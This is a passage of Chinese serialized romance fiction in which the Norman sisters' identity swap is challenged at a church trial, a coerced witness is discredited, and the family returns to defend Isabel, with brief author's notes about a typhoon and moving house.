你与神明同在,神明的意志就是你的意志——而不是将信仰寄托到墨菲斯雪山的圣殿里。 一旦这样的观念深入人心,就是圣曜教会彻底失权的时刻。 格兰芬再明白不过,那个女人的手段,高明极了。 他沉默良久,呼吸粗重道,“都给我听着,我们必须给这个女人一个教训。否则……我们所有人都会从高台上跌下去!” - 另一边,承知社女校。 新校区建立在环境优美的庄园里,午后的阳光透过窗户洒在课桌上,孩子们围在伊莎贝尔身边,叽叽喳喳像群小麻雀。 她们提的问题五花八门,带着儿童的特有的天真,伊莎贝尔看见这些孩子,有种回到小时候,看见跟屁虫奥蒂的错觉。 时隔多年,伊莎贝尔仍然不是一个传统意义上的好老师。 小学生们刚学完物理课,问太阳上有人住吗?又问人可不可以长翅膀飞到天上亲手摸一摸太阳。 伊莎贝尔一本正经地糊弄,说太阳上住着神明,因为很爱吃菠萝所以叫阿波罗。他脾气很暴躁,最讨厌小孩夏天去河里玩水,一看见就会发怒,所以夏天会很热。 还说森林里住着神秘的精灵族,她们会偷偷观察哪个小朋友最听话,然后在成年那天把翅膀借给她飞到天上见阿波罗,不过要注意,太阳上面很烫,方便的话可以带两个鸡蛋上去煎着吃,最好加点沙拉。 贴心的嘱咐让孩子们心驰神往,她们争先恐后发誓自己一定不去玩水,拍着胸脯保证会听话。 只有角落里的学习委员皱了皱鼻子,无语地扫了眼同学们,以及那个面不改色骗小孩的大人——哼,聪明的小孩早就知道世界上才没有神明,更没有什么爱吃菠萝的阿波罗,也不可能借精灵的翅膀去太阳上煎鸡蛋! 伊莎贝尔骗完小孩就准备离开学校,结束这次视察。 孩子们并不知道她是学校的大股东,在她们的世界里,伊莎贝尔只是每个月都会在校园里见到的漂亮老师,还经常给她们带礼物,讲新鲜的寓言故事——当然,长大后孩子们才知道,这些故事全是乱编的,所以才那么与众不同。 可是此刻,在她们心里,没人比诺曼老师更有趣,她启发了孩子们天马行空的想象力。于是未来的某一天,人类真的可以插上翅膀飞上蓝天。 “诺曼老师,另一个诺曼老师去哪里啦?”一个扎着羊角辫的孩子扯着她的衣角,眼里满是想念。 伊莎贝尔立刻明白她在说奥黛丽。 伊莎贝尔笑着摸了摸孩子的头:“另一个诺曼老师去了一个很远的地方,叫华夏,等回来的时候,会给你们带礼物,以及许多新的知识和故事。” “华夏?噢!是很远很远的东方!”孩子们惊呼,“太酷啦!” 学习委员也流露出欣喜,孩子们叽叽喳喳讨论起来,直到下课铃响起才依依不舍地跑出门。 夕阳西下,教室瞬间安静下来。 艾米丽走上前,一边帮着伊莎贝尔收拾东西,想起刚才的话,她眸光微动,忽然问:“小姐,是不是要发生什么事了?” “为什么这么问?” “您把所有家人都送走了,伊迪斯也被您安排了任务,这么久没有出现。”艾米丽顿了顿,她跟着伊莎贝尔在查尔维斯生活这么久,也锻炼出了一丝敏锐,“所以我猜测,您是不是预测到了危机?” 伊莎贝尔拿起桌上的书,语气轻松得像在说今天的天气:“不是大事。” 早在杰西卡出现的那一天,伊莎贝尔就意识到,从前买下的地雷,总有爆炸的一天。 与其毫无准备地等着它炸响,不如事先布局。 她不是真的神明,无法预测所有事情的走向。只能先疏散人群,尽力将爆炸控制在最小范围。 如果她能安然无恙当然很好,如果一定要受点小伤,她也没什么好怕的。 “不管是什么事,我都陪着您。”艾米丽垂眸。 伊莎贝尔抬起头,嘴角勾起一抹浅淡的笑,没有回答,只是轻声道:“不害怕吗?” 她还记得艾米丽最初的模样——天真、胆怯、咋咋呼呼。 现在却蜕变成了一位沉稳坚定的女士。 艾米丽仰头微笑,“有您在身边,我什么也不怕。” - 数日后,机械协会教堂。 黑衣教徒缓步走出,手里攥着一张皱巴巴的纸条,脸色凝重:“格兰芬大人,我查到了您要的线索。斯宾塞公爵夫人出席过索菲娅的葬礼,而且,就在索菲娅离开前,有个叫杰西卡的女工找过她。这个杰西卡原本是布伦瑞克船运的人,后来投靠了公爵夫人,现在……她不见了。” “不见了?”格兰芬瞳孔骤缩。 “是的,不仅她消失了,洛森郡诺曼一家统统离开了锡兰。”教徒说。 格兰芬脸色阴沉,他思考良久,忽然冷笑:“真是巧合吗?这个时间节点,全家都被转移走……” 他顿了顿,神色阴狠:“查,继续查。这个杰西卡有问题,奥黛丽·诺曼,还有她们全家都有问题!” “是!”教徒领命离开。 十天后,依然是教堂大厅。 教徒再次闯入,这次他的脸上带着激动的神色。 “主教大人!查到了!” “杰西卡抓到了?”格兰芬冷声问。 “不,不是杰西卡!”教徒磕磕绊绊,转头道:“是……是……” 格兰芬猛地抬头,目光扫向大厅门口——教徒身后,一道熟悉的身影缓缓出现。 鹰钩鼻绅士摘帽颔首,用低沉的腔调行礼:“晚上好,尊敬的主教大人,请允许我向圣曜真神投以诚挚的敬意。” 格兰芬眼底划过诡异的兴奋,他倏然站起身,嘴角弧度扩大,一字一顿道:“贾维斯爵士?”—— 作者有话说:没有写完下一章宝宝们,骚瑞。这几天忙着收行李,少少的。 快完结啦,本来我想一鼓作气写完,又怕耽误太久台风来了,不好开高速啊啊啊。 鄂A已经刮大风了,沿海的朋友们注意安全! ! 反正我看能不能赶紧写完大剧情,正文完结后专门停两天搬家。如果天气变化太快我可能就得先搬家再写。 第94章 黄昏时分,孩子们排着队走出校门。 庄园门口,格兰芬带着几名教徒快步走来,气势汹汹,像要吞掉整个学校。 伊莎贝尔照例巡视完校园,才带着艾米丽下楼。 刚踏出大门, 就看见格兰芬迎面走来。 “诺曼小姐,好久不见。”格兰芬停下脚步,目光死死盯着她。 路过的学生好奇地打量着教徒们,承知社的老师警惕地围着伊莎贝尔,小声问:“需要帮助吗?公爵夫人?” “公爵夫人?”格兰芬突然冷笑一声,他盯着伊莎贝尔, “诺曼小姐,怎么不敢告诉你忠心的下属,你的真实身份?” 伊莎贝尔眸光微动,艾米丽下意识攥紧手指。 “主教大人说的话, 我听不懂。”伊莎贝尔微笑。 “我十分敬佩你的意志。”格兰芬嗤笑,忽然一字一顿, “伊莎贝尔·诺曼小姐。” 众人一愣。 “伊莎贝尔?公爵夫人的名字是奥黛丽·诺曼,你到底在说什么?主教先生?”有人冷声质问。 格兰芬不慌不忙, 往后招手。 人群里,鹰钩鼻贾维斯爵士猛地上前一步,整了整领结,先是对众人颔首, “各位女士们,日安。我是女王陛下的使者贾维斯。请允许我向各位揭露一个可怕的真相。” 他缓缓伸出手指:“眼前的这位小姐,根本不是女王赐婚的公爵夫人——诺曼庄园的二小姐奥黛丽·诺曼。而是大小姐……伊莎贝尔·诺曼!” “她们姐妹二人长相相似,以为私下交换身份就能瞒住所有人,可终究被我们发现了蛛丝马迹。”格兰芬嗤笑,在众人的震惊神情里补充道,“按照锡兰公国律法,你们犯有欺诈罪、冒犯圣曜婚姻罪、以及不尊王室罪。斯宾塞家族和怀特家族在圣曜真神见证下的婚姻,统统宣告无效!也就是说……” 他顿了顿,勾起唇角,“你不能再利用公爵夫人的头衔做任何事!我有权收回你的学校、你的工厂、你的一切!” 话音落下,众人陷入错愕。 “您的证据呢?”艾米丽忍不住质问。 “证据?女士,我就是证据。”贾维斯爵士用低沉的腔调说,“我是协助女王赐婚的使者,我亲眼所见,在克劳伦伯爵的舞会上,奥黛丽小姐连基本的华尔兹都跳不熟练,举止青涩得像个乡下姑娘。而伊莎贝尔小姐你,第一次出席菲利普公爵的婚礼派对,就大显身手。” “所以分明是你代替自己的妹妹,顶替了公爵夫人的位置!” 伊莎贝尔挑眉看向贾维斯,语气平静:“贾维斯爵士,你的意思是说,你从一开始就分得清谁是奥黛丽,但是直到今天才来揭露这个真相对吗?” “当然!”贾维斯立刻应答,想了想觉得不对劲,摇头,“不不不,我不是故意拖到现在,我只是根据格兰芬主教的描述,察觉不对劲!” “也就是说,你并没有完全分得清我们,只是格兰芬主教引导你如此猜测,你越想越觉得可疑对吗?” “对!”贾维斯又点头,很快又摇头,“不,不对!不是主教引导我!” “我们所有人都听见,你刚是这么说的。”伊莎贝尔饶有兴趣地看着贾维斯。 贾维斯瞪大眼睛。 格兰芬阴沉着脸色喝道:“够了,不要再花言巧语转移视线。事实就是事实,你根本不是奥黛丽·诺曼,你知道自己所做的一切会招来报复,所以提前安排家人离开,这还不够证明你心里有鬼吗?” “您也知道这是报复啊?”伊莎贝尔看着面前越来越多的人,扬声道,“我是不是可以认为,因为您反对我开办学校和工厂,开设新报纸,所以您故意栽赃陷害我,甚至在没有确凿证据的情况下?” “诺曼小姐,索菲娅输给你可真不冤枉。你早就把所有关键人物都提前藏匿好了,我当然找不到证据。” 格兰芬恶狠狠盯着伊莎贝尔,突然咧开嘴笑,“不过这样也好,至少我从你的行为里得出结果——你就是个冒牌货!” 艾米丽垂下眸,忽然明白伊迪斯的任务是什么——她早就帮伊莎贝尔把诺曼庄园的旧仆人一并送上卡洛琳的船,去往远方,包括伊迪斯本人。 她们本就缺乏谋生的机会和实现自我价值的平台,无论出于自愿还是非自愿,总之那艘船已经带着秘密走远。 所以格兰芬搜查这么多天,一无所获。 是的,即便他有所怀疑,没有证据一切都是空谈。 伊莎贝尔丝毫没有畏惧,她懒洋洋抬眸道:“还是那句话,主教大人,这都是你的一面之词,还不足以将我送上审判庭。没什么事,我就先下班了,再见。” 她淡定地擦肩而过,徒留格兰芬在原地怒气冲冲。 完全不被人看在眼里,就相当于侮辱。格兰芬攥紧拳头,看着伊莎贝尔离开的方向,高声道:“等着吧,我迟早会将送上审判庭,那一天不会太远!” 果然,格兰芬多动作没有停止。 他似乎得到了启发,也效仿伊莎贝尔开启舆论战。 隔天一早,“诺曼姐妹互换身份,当今公爵夫人是冒牌货”的消息就像长了翅膀,在肯特郡的大街小巷疯传。 有人信贾维斯的“证词”,有人发散思维阴谋论,有人站在伊莎贝尔这边,两边各执一词,吵得沸沸扬扬。 而格兰芬在每年一度的教会庆典活动上,高声宣讲:“神圣的婚姻容不得欺骗!伊莎贝尔·诺曼不仅在肯特郡推行异端思想,还用谎言亵渎神明,为维护神圣永恒曜主的权威,我将行使主教权力,将异端送上教会与王室的联合法庭!” 这下无论是哪一方,都开始好奇审判日的结果。 公爵夫人是冒牌货,这样的新闻实在百年难得一见,到底是格兰芬造谣,还是确有其事,公众迫切想要知道真相。 温斯顿庄园,审判庭传单送到了伊莎贝尔手里。 艾米丽担忧道:“怎么会突然开庭?如果只是以贾维斯的说辞,他们定不了您的罪,可现在……格兰芬是不是掌握了新的证据,您该怎么应对?” 伊莎贝尔思索片刻,轻笑道:“别怕,我会有办法的。”- 与此同时,遥远的码头,“诺曼”号游轮缓缓靠岸。 这是游轮抵达的第二个补给港,奥黛丽照例下船采购,这次由爱逛街的安娜姨妈陪同。 两名女士手挽着手,迎着海风走下船,一路说说笑笑,满载而归。 这次赫尔曼给她们预留的时间很短,游轮要早点启程。 所以奥黛丽也没耽误,逛了半个小时就拉着依依不舍的安娜上船。 这时,却瞥见不远处的巷口出现骚乱。 ——几名穿着教会服饰的人正押着一个身影快步走过,那人低垂着头,嘴里不停发出求饶声,声音模糊却透着绝望。 “那人……怎么看着有点眼熟?”安娜姨妈皱起眉头,驻足不前。 奥黛丽顺着她的目光望去,只来得及看到那个身影被押进一辆黑色马车。 虽然连面容都没看清,可心底却莫名升起一股强烈的不安——教会的人怎么会出现在这个偏远的补给港?他们押走的是谁? 安娜垂眸,又狐疑地打量着远去的马车。 奥黛丽也有些心不在焉。 回到船上,奥黛丽刚推开船舱门,就看到赫尔曼正背对着她站在窗边。 “我刚刚看见……”她正要分享见闻,就看到赫尔曼手里捏着一封信,查尔斯站在一旁,神色凝重。 听到开门声,赫尔曼不动声色地将信塞进怀里,转身时脸上已恢复了平日的平静。 “逛得怎么样?”赫尔曼走上前,想接过她手里的篮子。 奥黛丽却侧身避开,目光直直地盯着他手里的信:“赫尔曼,你是不是有事情瞒着我?” 赫尔曼眸光微动:“只是一封来自锡兰的信,工厂员工汇报情况,你要看吗?” 他坦荡地举起信件,一时让奥黛丽开始怀疑是不是自己多心。 “我们要启程了,早点出发就能早点抵达华夏,也能早点返程看望你的姐妹。”赫尔曼难得温声道。 奥黛丽垂眸,金色卷发遮住眼睫。 她点点头,什么也没说。 赫尔曼看着妻子离开的背影,将那封信付之一炬,直到看见火光熄灭才收回视线。 - 夜幕降临,海风习习。 奥黛丽听着海浪声,脑子里忽然想到白天看到的那个身影。冥冥中的不安让她睡不着,于是推门走了出去。 甲板上,居然有人也在吹风。 “安娜姨妈?”奥黛丽惊讶。 安娜回过头,向来乐观到缺根筋的女士竟然有些忧愁。 二人对视的瞬间,多年相处的默契已经让她们不约而同地明白,对方在为什么而烦恼。 “亲爱的,你是不是也觉得白天的那个人,像……”安娜顿了顿,没有说出那个名字。 而这句话,却像划破黑夜的火柴,瞬间点亮奥黛丽的思绪! 是他? ! 奥黛丽愣住,安娜絮絮叨叨说了好些话,也没能唤醒陷入思考的外甥女。 如果是他……那为什么会被教会抓住?他们的目的是什么?还有……赫尔曼异常举止,以及那封信…… 一个念头越来越清晰,奥黛丽拎着裙子,立刻飞奔回房间。 “你要去哪里?脸色怎么突然这么难看?”安娜姨妈高声喊。 奥黛丽头也不回:“没什么,您快回去休息,别告诉爸爸妈妈,也别为我担心。” 安娜摸了摸脑袋:“担心?这孩子在说什么?” 另一边,冲进房间的第一时刻,奥黛丽气还没喘匀,就看见赫尔曼穿着睡衣端坐在沙发上,眼神清明——显然在她起身时,他也醒来了。 奥黛丽缓缓走近,看着那双深灰色的眼睛,她很清楚,赫尔曼那么聪明,一定已经猜到了自己的来意。 “回来了?快休息吧,还有三个小时就天亮了。”赫尔曼声音平静。 “是的,我们还剩三个小时。”奥黛丽轻声道。 赫尔曼定定看着妻子,这还是第一次,他在奥黛丽的脸上看见如此严肃的神情。 “赫尔曼,你早就知道了对不对?”奥黛丽仰头看着他,“你早就知道我的姐妹陷入危机,你早就知道这艘船会在华夏逗留很久,如果锡兰情况有变,我们就再也不会踏足那片土地。” 赫尔曼沉默许久,“是的,我知道。你的姐妹也知道。所以她才提前安排你的父母登船,还留下那封信。” 奥黛丽垂眸,深吸一口气,挤出微笑:“她有她的选择,我也有我的选择。赫尔曼,请帮我安排一艘船,天亮后,我要回去。” 赫尔曼忽然攥住她的手,声音渐冷,“你回去有什么用?难道你的世界只有她吗?我呢?还有你的父母,你的姨妈,我们加在一起也比不过她一个人的分量吗?!” 他一字一顿,几乎从牙关里挤出那个名字:“奥黛丽·诺曼。” 奥黛丽微怔。 原以为当真相被戳破,迎来的会是一场惊雷,可他却如此自然地叫出她的名字,似乎在告诉她,所谓的地雷早就被他亲手拆除了。 水蓝色的眼睛划过笑意:“是的,我的真名是奥黛丽·诺曼,对不起,我在神父面前骗了你,没有给予你诚实的婚姻。” “我不在乎。”赫尔曼盯着她,“我不在乎你的名字叫什么,我只要你留在这艘船上!现在回答我,你要为了她,放弃我们所有人吗?” 奥黛丽缓慢而坚决地挣脱他的桎梏:“赫尔曼,算术题我比你更精通,可惜情感不是冰冷的数字。” “如果今天出事的是你,或是爸爸妈妈,我也会为你们奋不顾身。”奥黛丽回握着赫尔曼的手,轻声说,“我爱你,也爱我的家人。” “如果你爱她,就更应该留下。你去了会成为她的软肋。”赫尔曼深吸一口气,压住汹涌的情绪,“听话,你留下,如果她应付不了危险,那么你去了也是送死。如果你出事……” 他顿了顿,“我呢?我和你的父母该怎么办?” 奥黛丽垂眸,就在赫尔曼以为她被说动的时刻,她抬起头,目光平静。 “赫尔曼,你不了解贝拉。”奥黛丽轻声说,“她聪明强大,面对任何困难似乎都有应对的智慧与勇气。久而久之,我们都会将她视为安心的依靠,认为她无所不能。可是一个人硬扛着狂风暴雨,也会疲惫,也会感到疼痛。” 奥黛丽认真道,“曾经我一直活在她的羽翼之下,我知道,在无法提供助力的时刻,不拖后腿就是最好的做法。可这一次不一样。” “她这个人,很多时候看似胜券在握,稳住了同伴的心,也让对手感到害怕。实际上,只有我知道,她只是无所畏惧。”奥黛丽眸光湿润,“她不害怕任何命运的到来,不会主动走向失败,却也……不害怕死亡。” “可我会害怕她的无所畏惧,那会让我觉得她对这个世界毫无留恋。”奥黛丽的目光悠远,仿佛回到小时候。 奥蒂是个很敏锐的小孩,她总是能够察觉,贝拉看似宁静平和的外表之下,藏着没有完全融入这个世间的轻盈——上一秒,她可以使坏戏耍奥蒂,下一秒,如果就此消失,她的脸上仍然会挂着笑容。 长大后,奥黛丽渐渐将这种不安压在心底,可是这一刻,她又是如此清楚地明白,伊莎贝尔从来没有改变过。 是的,她渐渐地融入了家庭,拥有了亲情和爱情,产生了与这个世间最密切的联系。 可骨子里的轻盈,仍然注定了她可以接受失去现有的一切。 “我回到她身边,的确起不到太大的作用。可是至少在某个瞬间,她看见我,就会多几分牵挂。如果胜利当然好,如果失败……”奥黛丽忽然轻笑,“那我就陪她一起。” 赫尔曼攥紧拳头:“你知道自己在说什么吗?” “我知道这听起来很傻,但是,赫尔曼……”奥黛丽仰头,眼眶湿润,“我有时候,没那么勇敢。面对生死,我是个胆小鬼。” “比起一同走向死亡,我承受不住独自活着的悲伤。失去她,就像失去我的另一半灵魂。” 双生的花,无论失去哪一朵,另一朵的余生只剩漫长的潮湿,逐渐在风雨里枯萎。 赫尔曼沉默许久,终于叹了口气,缓缓松手,目送奥黛丽走向黎明前的黑暗里—— 作者有话说:伊莎贝尔:活着也行,死了也可以。 奥黛丽:不行! !给我活着! ! 第95章 章节锁定 第96章 章节锁定 第97章 轮船抵达锡兰港口,简妮拎着行李在人群中穿梭,紧跟着最前面女儿女婿的脚步。 “我们必须要快些,安娜, 报纸上说今天就是开庭日。” 安娜跟在队伍最后,看着怀表里的画像出神——这是她在船上结识蒂洛夫后,央求他按照自己的描述所画的男人。 自从威克曼失踪后, 安娜以为这辈子也不会见到他。 印象里的威克曼还是那样的年轻英俊,与码头看见的佝偻背影截然不同。 可那天他被教会的人拖拽着凄惨求饶的样子,简直像只可怜的流浪狗。 安娜的心难以控制地感到疼痛,这也是她选择和简妮坦白的原因——万一呢, 万一那个人真是威克曼…… 与此同时, 审判大厅里, 格兰芬冷冽的眼神像刀子一样扎在威克曼身上。 “看清楚了吗?威克曼·史蒂芬, 大声告诉审判官你的结论。” 充满威胁的眼神瞬间让威克曼清醒。 身上的伤疤在隐隐作痛,被教徒们抓到的第一天,他就受了一顿毒打。最重要的是,格兰芬手里攥着他翻身的最后希望——赔光一切,远走他乡,输红了眼的赌徒只求那点本金翻盘。 格兰芬承诺会给他一笔钱再次投资, 只要有了这笔钱,他就不用在外面飘泊, 活得像个乞丐。 而此刻,看见审判庭的情形,威克曼也明白了他要自己做什么。 看着伊莎贝尔的眼睛,威克曼哆哆嗦嗦重复:“你是伊莎贝尔·诺曼,我没有认错。” 审判官迫不及待敲下锤子,“来自威克曼·史蒂芬先生的证词, 被诺曼女士本人承认的亲眷,足够可信。” “是的,他的确是我姨妈的丈夫,如果他没有骗光我父亲的钱,并且卷款逃跑的话。”伊莎贝尔淡淡道。 众人眼神逐渐变化。 “噢,他是个诈骗犯?诺曼家族竟然有这样的姻亲?” “谁知道呢?看他那副狼狈样子,的确显赫不到哪里去。” …… 玛丽听着旁边的窃窃私语声,神情逐渐放松,她冷笑地盯着威克曼:“审判官先生,事实上,威克曼年轻时就是个无赖,靠着花言巧语哄骗我妹妹,年老后毫无意外地成为诈骗犯,穷困潦倒,骗吃骗喝还不满足,现在又受人指使,来做伪证……” 她的话还没说完,威克曼就握紧拳头,恨声道:“玛丽·卡文!你这个贱人!你从前就看不起我,是,我是穷,可我对安娜是真心的!” “你真心骗她和你过苦日子,又骗光她姐姐姐夫的钱,你的真心凭什么让我看得起?” “我那是迫不得已!我也需要生活!我也想不靠你们让安娜过上好日子!”威克曼卑微了这么久的脊背再次挺了起来,情绪激动得像被踩了尾巴的猫,他喘息许久才冷静下来,忽然冷笑,“你现在极力否认我,就是怕我揭穿你们的身份!噢,高高在上的贵族小姐也会撒谎骗人!” “审判官先生!在场的所有人,你们都听着,我绝对没有认错,现在坐在我面前的女人就是伊莎贝尔·诺曼,她和她的姨妈一起串通好换嫁,她们一样的虚伪恶心!”威克曼恨声嚷嚷。 玛丽脸色阴沉,正要开口,却听见伊莎贝尔笑道:“史蒂芬先生,你以什么身份在指证我?” 威克曼冷笑,他原本对这个生疏的外甥女没什么恶感,但是一看到那双和玛丽无比相似的冷漠眼睛,内心被轻视的愤怒就再也控制不住。 “当然是你安娜姨妈的丈夫,你们亲口认定的姨夫。” 伊莎贝尔慢条斯理翻开文件:“可是根据律法,你犯下诈骗罪潜逃,安娜姨妈已经给你上报失踪,并且解除婚姻关系,现在你对我而言只是一位来历不明的流浪汉,请问你的证词有效吗?” “可你分明已经认出了他。”审判官皱眉道。 “噢,贾维斯爵士还能忘记记忆深刻的舞会,说实话,如果不是主教喊出这位史蒂芬先生的名字,光靠外表,我可完全不认为他和曾经的威克曼先生有什么相似之处。”说着,伊莎贝尔拿出一张全家福画像,向众人展示。 “呃……那个英俊的男人是谁?” “这完全是两个人吧……” “但是细看眼睛还是有几分相似,现在他们各执一词,我无从判断……” 观众席传来讨论声。 理智些的看客已经明白,这根本不是所谓的庭审,而是双方看不见硝烟的舆论战。 “那就是我!”威克曼扒开头发和胡子,极力展示自己的样貌,可惜变形的身材和沧桑的面孔只能让人看出五分相似。 格兰芬冷笑,终于开口道:“诺曼小姐现在完全就是强行争辩。” “而您完全是强行给我定罪。”伊莎贝尔坦然道,“所有人都看见这位所谓的威克曼先生是被您押解过来的,全身都带着伤。第一,他的身份无法认证,第二、就算他是威克曼,但他对我们全家怀有仇恨,并与我的姨妈解除了婚姻关系,这样的证词在法律上并不能生效。” 格兰芬脸色阴沉,死死盯着对面的伊莎贝尔。 他们彼此都明白,如果严格按照法律来判断,除非格兰芬能把诺曼庄园从前的仆人都找回来,她们的立场和人数足以让证词生效。 可惜伊莎贝尔将她们藏得无影无踪,格兰芬失去了唯一能够咬死她的证据。 所以他才选择舆论战。 有些时候,审判并不需要确凿的证据,只要点燃怀疑的种子,再煽风点火,人们就会认定自己是掌握了真相的人。 这也是格兰芬要将审判会搞得声势浩大的原因。 如果伊莎贝尔辩无可辩,当场露出破绽,那么就算审判官无法根据法律宣判,格兰芬却能煽动群众,将伊莎贝尔的罪名牢牢钉死。 可现在,伊莎贝尔分明看出了他的无赖招数,于是选择用同样的“无赖”进行回击。 看似低级,但很有效。至少在看戏的群众眼里,她回应的姿态镇定优雅,说的话又很有条理,还有比她更像公爵夫人的吗? 短暂对视的瞬间,格兰芬明白,这样下去只会让对方越来越得人心,他必须抓住痛点,速战速决。 他飞速向审判官使眼色,后者立刻清了清嗓子,敲锤道:“安静!” 所有人看向审判官。 “你们双方各执一词,根据锡兰律法,我们必须先了解威克曼先生的身份,以及他和安娜·卡文女士的关系,才能判断他的证词是否有效。”审判官推了推眼镜,冠冕堂皇道,“我宣布,休庭半天,明天掌握新证据再进行宣判……” 他正要落锤,却听见伊莎贝尔淡淡道:“现在休庭,我认为格兰芬先生有能力将半天内制造所谓的新证据,审判官先生,你的判决是否有失公平呢?” 众人纷纷看向审判官。 “噢,请不要空口污蔑,女士。”审判官脸色一冷。 伊莎贝尔:“无意冒犯,只是合理推测。” 格兰芬攥紧手指,冷笑:“那么诺曼小姐,这么急着在今天做出判决又是为什么?方便你跟随家人一起逃跑吗?” “容我再次提醒各位,诺曼小姐的父母和妹妹一家,都已经离开锡兰,在这么关键的时间点。”格兰芬缓缓站起身。 “可是玛丽夫人还在。”观众席,莫尔先生小声帮腔。 “是啊,这也是诺曼小姐用以解释家人离开的理由,可是大家再想想,玛丽·卡文女士身份克劳伦伯爵夫人,身份尊贵,究竟是不想离开,还是不能离开?”格兰芬轻笑,“如果不是我发现得早,你们一家的旅行计划早就实施了吧,毕竟伯爵夫人要想离开领地可不容易,规划了那么久,结果被人察觉异样,所以干脆和你聪明的外甥女一起瞒天过海,我说得对吗?玛丽夫人。” 他步步逼近,“不愧是设计出这种阴谋的女人,你们连女王和教皇都敢欺骗,还能有什么不敢做的?” 玛丽步步后退,手指紧攥。 观众席逐渐沉默,他们内心开始动摇。 伊莎贝尔垂眸,她知道这个问题避不开,转移亲属和转移资产一样敏感,这也是她早就料想过的拉锯战。 正要说话,大门外忽然出现两道身影,伴随着年轻女孩清亮的嗓音。 “各位下午好,谁说我们一家人都离开了?” 所有人望去,只见奥黛丽步伐轻快,穿过人群,径直走向伊莎贝尔。 伊莎贝尔难得愣住了,她看着妹妹朝自己走来,又看见她身后不急不缓的赫尔曼,还有简妮、爱德华、葛丽泰等等。 爱德华特意穿上隆重的礼服,戴上诺曼家族徽章。简妮面带微笑,和玛丽拥抱后,面对众人颔首:“各位,我是诺曼家族的女主人,也是两位诺曼小姐的母亲。” 她深吸一口气,“面对不实的指证,我们一家人永远站在一起,这不会成为有心人抨击我女儿的理由。” 来自一位母亲掷地有声的发言,众人心中刚升起的疑虑再次消散。 “噢,我见过诺曼先生和诺曼夫人,很体面的夫妇。” “是啊,他们都回来了,如果公爵夫人有罪的话,难道他们一起送死吗?” “我想也没有哪个家庭敢团结一致犯下弥天大罪。”有人开玩笑。 “我也这么认为。” …… 格兰芬不可置信地盯着诺曼一家,尤其是赫尔曼。 他很想告诉大家,真的有傻子整整齐齐回来送死!不,不是傻子,是一群疯子!这群疯子打乱了他的所有计划! 格兰芬死死捏紧拳头,目光忽然瞥见怔愣的威克曼,和他视线里的女人—— 眼睛倏然亮起,他冷声道:“威克曼,你对面站的人是谁?” 威克曼一个激灵,陡然清醒过来。 他立刻明白格兰芬的暗示,激动道:“安娜!安娜!亲爱的!是我!威克曼!你认不出我了吗?” 安娜从进门开始就注意到了他,整个人像灵魂出窍似的愣在原地。 “安娜姨妈,这位先生看起来和威克曼有点相似,不过,无论他是不是,您不是早就和他解除婚姻关系了吗?”伊莎贝尔瞥着他们,不动声色道。 奥黛丽和赫尔曼对视一眼,后者立刻摆手,由查尔斯送上一份陈年文件。 银头发先生缓缓道:“威克曼·史蒂芬,曾是怀特公司的投资客,经济危机开始前,我曾给所有人做出提示,只有这位先生不肯听劝告,导致所有资产血本无归。” “不仅如此,他还擅自以爱德华先生的名义抵押借债,截至目前为止,他仍然欠我十万锡兰币的债务。”赫尔曼慢条斯理将证据展示,“如果这位先生是真正的威克曼·史蒂芬,那么请先还债吧。如果不是……” 他顿了顿,轻笑:“那一个做伪证的人,应该判处什么样的罪行,审判官比我更清楚。” 话音落下,威克曼面无人色。 他看着赫尔曼那头标志性的银发,绝望从灵魂深处蔓延开来——威克曼始终记得他是如何跟着这个人大发横财,又是如何沉迷于金钱游戏里无法回头。 奥黛丽悄悄攥紧赫尔曼的衣摆。 来之前,她就将自己的猜测告诉赫尔曼,下船的第一时间,赫尔曼就让查尔斯拿回威克曼曾经的债务文件,现在终于派上用场。 那笔债务是他们婚姻的开端,如今又成为挽救诺曼家族的关键性证据。 威克曼既没有偿还巨债的能力,也不敢反抗格兰芬。 他再次看向安娜——那个在他穷困潦倒时无数次拯救自己的妻子,她发福了,没有年轻时可爱,有时候愚蠢的令人生厌。 此时此刻,却没有比安娜更加让人威克曼心安的女人。 他痛哭流涕,爬到安娜的脚边:“亲爱的,求你救救我,你不能不认我,你最爱我不是吗?想想我们曾经的幸福日子,你都忘了吗?” 安娜被威克曼抱住双腿,看着男人再次露出祈求的姿态,想博取她的同情。 “我其实早就想回来,可是我被债务压得翻不了身,我想带你过好日子,我想赚更多的钱,是我鬼迷心窍,可是这一切都怪我太爱你了。”威克曼痛苦,“我配不上你,我也知道你姐姐瞧不起我,我更知道你两个姐夫都比我有钱有地位,我也想让你赢一次,我知道你最喜欢买新裙子……” 他掏心掏肺地诉说着,好像从前的每一次那样。 玛丽脸色铁青,看着安娜摇摆不定的模样,她几乎克制不住怒火,正要开口却被简妮拦住。 “为什么拦我,安娜这家伙你还不知道吗?一见那个男人就丢掉脑子!”玛丽低声冷喝。 “你不可能一辈子替她摆平所有麻烦。”简妮温声说,“人生的考题,躲不过去的。” “可是这还关系到……”玛丽的暗示十分明显。 一旦安娜心软承认威克曼,赫尔曼的威胁也就失效,因为威克曼清楚,安娜是他最后的救命稻草,所谓的巨额债务也只是一个砝码,威克曼不在乎他们之间的输赢,他只想活着。 至于伊莎贝尔以及诺曼一家会遭受什么,就不在他的考虑范围内。 如此自私丑陋的模样,令好脾气的爱德华忍不住上前揍他。 “你这个王八蛋!还敢开口说话!”爱德华砰砰揍倒他。 威克曼惊叫着求助,直到警卫把爱德华拉开,他才看见人群之外安娜的眼神。 向来对他心软的妻子此刻眼神冰冷,带着看透一切的理智。 “审判官先生,他不是我的丈夫,我的丈夫失踪很久,大概已经死了。”安娜嫌弃地挪开身子,掌心的怀表银链子随着动作晃动,她打开盖子,向众人展示里面的画像,“这才是我的丈夫,他很爱我,是位英俊的绅士,和这个无赖完全不同。” 第98章 威克曼看着那张小像,彻底愣住。 他原本还嚎叫着求饶,可是看见安娜的眼神,他忽然明白了什么。 “安娜,我就是威克曼……”他嗓音干涩,“我和从前有什么不一样吗?” 安娜没有说话, 她高高扬起头, 向玛丽和简妮走去。 玛丽眼神怔然, 旋即露出一个笑容。 简妮伸出手臂,拥抱安娜。 “好样的,你终于洗清人生的污点。”玛丽皮笑肉不笑。 简妮掐了掐玛丽,又抚摸着安娜的头,她感受到怀里的温热的泪水,却没有作声。 是的,威克曼和从前没什么不同,都是个无赖。是安娜的爱令他不一样。 安娜抬起头,很快恢复从前趾高气昂的模样,挑衅地看着玛丽:“爱上一个英俊潇洒的无赖算什么污点。” “如果他还像当初那么帅气,或许我还有点心软,现在嘛……”安娜嫌弃地撇了撇嘴,低声道,“带着这么一个老头,真够丢人的。” 玛丽翻了个白眼。 简妮笑而不语,她看着安娜故作冷漠的表情,心里却知道,妹妹并没有嘴上说的那样毫不在乎。 